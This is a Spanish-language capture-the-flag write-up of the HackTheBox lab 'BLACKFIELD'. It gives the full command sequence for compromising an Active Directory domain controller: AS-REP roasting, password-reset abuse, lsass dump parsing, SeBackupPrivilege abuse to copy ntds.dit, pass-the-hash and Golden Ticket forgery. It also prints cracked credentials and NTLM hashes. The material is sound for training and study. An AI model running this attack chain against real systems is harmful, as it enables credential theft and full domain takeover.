---
# System prepended metadata

title: BLACKFIELD

---

# BLACKFIELD

## Reconocimiento

### nmap


~~~
nmap -sS --min-rate 5000 --open -p- -vvv -Pn -n 10.10.10.192 -oG allPorts
~~~


![](https://i.imgur.com/VvldxxA.png)


~~~
nmap -sCV -p53,88,135,139,389,445,593,3268,5985,49676 10.10.10.192 -oN targeted
~~~


![](https://i.imgur.com/7QpZaRK.png)

### smb - Puerto 139,445

#### crackmapexec

~~~
crackmapexec smb 10.10.10.192
~~~


![](https://i.imgur.com/W120v7d.png)


```
domain:BLACKFIELD.local
name:DC01
```

Algo a tener en cuenta es que generalmente los controladores de dominio tiene nombres como `DC01`, `DC02` o similares.

Otra forma de saber con qué Versión de Windows Server se está tratando es ver la versión del release: 

[Windows Server Release Version](https://docs.microsoft.com/en-us/windows-server/get-started/windows-server-release-info)


![](https://i.imgur.com/g3qBbIk.png)


#### smbmap


~~~
smbmap -H 10.10.10.192 -u "cualquiercosa"
smbmap -H 10.10.10.192 -u 'cualquiercosa'
smbmap -H 10.10.10.192 -u "anonymous"
~~~


![](https://i.imgur.com/NJLvoKd.png)


Si se quiere ver los recursos dentro de `profiles$`:

~~~
smbmap -H 10.10.10.192 -u 'cualquiercosa' -r 'profiles$'
~~~


¿Por qué tarda tanto la busqueda recursiva con smbmap?
¿Otra forma de hacer el smbmap con el usuario anonymous?



#### smbclient


~~~
smbclient \\\\10.10.10.192\\profiles$ -U 'anonymous'
~~~

![](https://i.imgur.com/KQ2WCpj.png)


Se colocan todas las carpetas de usuarios en el archivo user.txt para validarlos a través del servicio de kerberos.

### kerberos - Puerto 88

#### kerbrute

La herramienta `kerbrute` permite la enumeración de usuarios válidos:

~~~
/opt/kerbrute/kerbrute userenum --dc 10.10.10.192 --domain BLACKFIELD.local users.txt
~~~


![](https://i.imgur.com/jdfxkeP.png)


~~~
2022/04/12 07:57:23 >  [+] VALID USERNAME:	 audit2020@BLACKFIELD.local
2022/04/12 07:57:34 >  [+] VALID USERNAME:	 svc_backup@BLACKFIELD.local
2022/04/12 07:57:34 >  [+] support has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$support@BLACKFIELD.LOCAL:943760a7821da17ba3adad261dfd6f81$75030157ce452c2a4346584838441912230148dd3974fa77990d11bb4cf76dd805ad91353d8e2916b80dd1bc8f7989291cab8db935473bc425b3fd3dcde813bc7b07d947a0453900adc5b46e0560ef7eacfad892e31c620f41604b12696b57c2826ef1575ff8ef802ba3dfc82235043106a5728df815f09db3c8c87383cdcd981260150f9ba7e4dba8fe9fafb1f316372f626dabc464732e763f4b6e5985aeb3376760bf224f6bf026dc8ff1ac337e6960ca2bc2f773fe000c8230edc078c58e492240214340bce6da73f23e7849ff38f49afbfcfb7caec810a28bd7833d29f07bd7add9362178b446c070c2924be8e33aa95cd7323ff1e3ee845ab2e1e98f59c7c06d1acaa77681
2022/04/12 07:57:34 >  [+] VALID USERNAME:	 support@BLACKFIELD.local
~~~


~~~
echo "10.10.10.192 blackfield.local DC01" >> /etc/hosts
~~~


![](https://i.imgur.com/5gLxjGR.png)

#### GetNPUsers

Se solicita el TGT para el usuario `support`:

~~~
python3 /opt/impacket/examples/GetNPUsers.py blackfield.local/ -no-pass -usersfile usersValidos
~~~


![](https://i.imgur.com/xucPgy8.png)


~~~
john --wordlist=/usr/share/wordlists/rockyou.txt hashSVC_BACKUP2
~~~


![](https://i.imgur.com/g03NWgB.png)

Credenciales:
`support:#00^BlackKnight`


Obs:

Cuando el hash entregado por `Kerbrute` no se logra crackear, usar el hash entregado por `GetNPUser.py`.




#### GetUserSPNs

Se solicita algún TGS con las credenciales del usuario `svc_backup`:

~~~
python3 /opt/impacket/examples/GetUserSPNs.py -request 'blackfield.local/support:#00^BlackKnight'
~~~


![](https://i.imgur.com/LHBVjU0.png)


Pero ningún usuario es `kerberoasteable`.


## Acceso 

### support

~~~
crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
~~~


![](https://i.imgur.com/taooJSs.png)

#### ldapdomaindump

El puerto ldap está abierto entonces se puede usar la herramienta `ldapdomaindump`:

~~~
rm -rf /var/www/html/*
service apache2 start
ldapdomaindump -u 'blackfield.local\support' -p '#00^BlackKnight' 10.10.10.192
~~~


![](https://i.imgur.com/Su238e2.png)


![](https://i.imgur.com/Cvc9pOp.png)


![](https://i.imgur.com/whzE8QN.png)



#### Bloodhound

Haciendo uso de bloodhound para obtener un reconocimiento del sistema de forma remota:

~~~
python3 /opt/BloodHound.py/bloodhound.py -c All -u 'support' -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local
~~~



![](https://i.imgur.com/Ar1R8xC.png)



Dentro de bloodhound se pueden visualizar las redes que muestran las relaciones entre los usuarios, en este caso se visualiza la información del usuario `support` como un nodo:


![](https://i.imgur.com/YZFitL1.png)

#### Abusando DACL/ACE - ForceChangePassword

El usuario `support` tiene la capacidad de cambiar la contraseña del usuario `audit2020`. 


![](https://i.imgur.com/ePDh7sX.png)


Obs: DACL/ACE definen quién puede leer/modificar a los objetos asegurables(usuarios y grupos); es decir, cambiar el nombre de la cuenta, restablecer la contraseña, etc.

#### rpcclient - Puerto 135


~~~
rpcclient -U "" 10.10.10.192
rpcclient -U "support%#00^BlackKnight" 10.10.10.192
~~~

**Cambio de contraseña**



* 1era forma

```
rpcclient -U "support%#00^BlackKnight" 10.10.10.192
setuserinfo2 support 23 '#00^BlackKnight'
```


* 2da forma
~~~
net rpc password audit2020 -U 'support' -s 10.10.10.192
~~~


### audit2020

#### smbmap

```
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1'
```


![](https://i.imgur.com/pFuoU9J.png)



```
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1' -R 'forensic/'
```


![](https://i.imgur.com/mvGpVN7.png)


Se descarga el archivo `lsass.zip`:


```
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1' --download forensic/memory_analysis/lsass.zip
```


![](https://i.imgur.com/4XcFRkQ.png)

Dentro del comprimido `lsass.zip` se encontrará un volcado o dump del proceso `lsass.exe` llamado `lsass.DMP`, y se pueden usar herramientas como `mimikatz` o `pypykatz` para leer la información de dicho volcado.

El procesos `lsass.exe` permite:


* Reforzamiento de las políticas de seguridad
* Verificación de autentificación del usuario en un ordenador o servidor Windows
* Manejo de los cambios de contraseñas
* Creación de fichas de acceso



#### pypykatz

Pypykatz es una implementación de Mimikatz  en Python, con la posibilidad de ser ejecutada en cualquier sistema operativo.

```
pypykatz lsa minidump lsass.DMP
```

![](https://i.imgur.com/AAJ3klI.png)



```
Username: svc_backup
NT: 9658d1d1dcd9250115e2205d9f48400d
```

### svc_backup


#### crackmapexec


```
crackmapexec smb 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
```

![](https://i.imgur.com/fogi5Yj.png)


```
crackmapexec winrm 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
```


![](https://i.imgur.com/4fl0SuG.png)


#### evil-winrm


![](https://i.imgur.com/AQNQs7P.png)


El comando `systeminfo` no logra ser ejecutado, una variante de ello es usar `Registry`.


~~~
reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
~~~


![](https://i.imgur.com/1WhgG4V.png)


¿Cómo encontrar la versión de Windows usando Registry?


[Versión de Windows usando Registry](https://mivilisnet.wordpress.com/2020/02/04/how-to-find-the-windows-version-using-registry/)


Se puede ver que la versión `Windows Server 2019` es la misma que se obtuvo en un inicio.

NOTA - OBS: VER SI SE PUEDE USAR EL REG.PY Y OBTENEMOS ALGO


Ahora intentando visualizar la flag `root.txt` se ve que no se tiene suficientes permisos para visualizarlo.


![](https://i.imgur.com/LrbGn0U.png)


## Obteniendo Privilegios

### Abusing Tokens

#### SeBackupPrivilege


Al ejecutar el comando `whoami /priv` se ve que el privilegio `SeBackupPrivilege` está habilitado.


![](https://i.imgur.com/SaJuGKz.png)


Este privilegio hace que el sistema otorgue todo el control de acceso de lectura a cualquier archivo (solo lectura).


Se realiza una copia del `system` y `sam`:

```
reg save HKLM\system system
reg save HKLM\sam sam
```


![](https://i.imgur.com/eaI6HZN.png)


#### secretsdump

Desde el equipo local se hace uso de `secretsdump` con las copias de archivos `system` y `sam`, con ello dumpeamos los hashes existentes en la máquina local pero no los usuarios del dominio.

```
python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -sam 'C:\Temp\sam' LOCAL
```


![](https://i.imgur.com/ixK9uAz.png)


```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:67ef902eae0d740df6257f273de75051:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

Y con ello obtenemos el hash del usuario Administrador de la máquina local.


Dumpeando el `ntds.dit` se pueden obtener los hashes de los usuarios pertenecientes al DC.

Visualizando el archivo `ntds.dit`:

~~~
dir C:\Windows\NTDS
~~~



#### Dumpeando ntds.dit - DiskShadow

 
[SeBackupPrivilege - pentestlab](https://pentestlab.blog/tag/diskshadow/)


Se crea el archivo `test.txt` el cual permite que la unidad lógica sea una unidad a la cual se pueda acceder a todos los recursos del sistema.

![](https://i.imgur.com/PYGV15Y.png)


Subimos este archivo a la máquina víctima en la ruta `c:\Temp`

Ejecutamos el comando `diskshadow.exe /s c:\Temp\test.txt` en la máquina víctima



Ya se ha creado la copia:

```
dir z:\
dir z:\Windows\NTDS
robocopy /b z:\Windows\NTDS\ . ntds.dit
dir
```


![](https://i.imgur.com/akfslg2.png)



Y ahora solo llevamos el ntds.dit a nuestro sistema.


#### secretsdump


```
python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -ntds 'C:\Temp\ntds.dit' LOCAL
```



![](https://i.imgur.com/Qm4Yshs.png)



```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:3774928fe55833e6c62abdc233f47a7b:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
```

### PassTheHash

~~~
crackmapexec smb 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
~~~


![](https://i.imgur.com/JnolYec.png)


~~~
evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
~~~


![](https://i.imgur.com/xK2HR5C.png)


## Adicional


### Golden Ticket



```
python3 /opt/impacket/examples/lookupsid.py blackfield.local/Administrator@10.10.10.192 -hashes ':184fb5e5178480be64824d4cd53b99ee'
```


![](https://i.imgur.com/HOF48Dd.png)


`Domain SID is: S-1-5-21-4194615774-2175524697-3563712290`


```
python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -ntds 'C:\Temp\ntds.dit' -outputfile krb -user-status LOCAL
```


![](https://i.imgur.com/gwoP1jQ.png)


`krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::`


```
python3 /opt/impacket/examples/ticketer.py -nthash d3c02561bba6ee4ad6cfd024ec8fda5d -domain-sid S-1-5-21-4194615774-2175524697-3563712290 -domain blackfield.local cr4y0
```


![](https://i.imgur.com/LQJQGzr.png)


```
export KRB5CCNAME=/home/cr4y0/Desktop/HackTheBox/BLACKFIELD/cr4y0.ccache
```


```
python3 /opt/impacket/examples/ticketConverter.py /home/cr4y0/Desktop/HackTheBox/BLACKFIELD/cr4y0.ccache ticket.kirbi
```


![](https://i.imgur.com/wW4MPwB.png)




```
python3 /opt/impacket/examples/psexec.py -dc-ip 10.10.10.192 -target-ip 10.10.10.192 -no-pass -k blackfield.local/Administrator@DC01.blackfield.local
```

![](https://i.imgur.com/jY1Uvh4.png)


![](https://i.imgur.com/pDLj2V1.png)


```
rdate -n 10.10.10.192
```


![](https://i.imgur.com/yPHLHHg.png)











































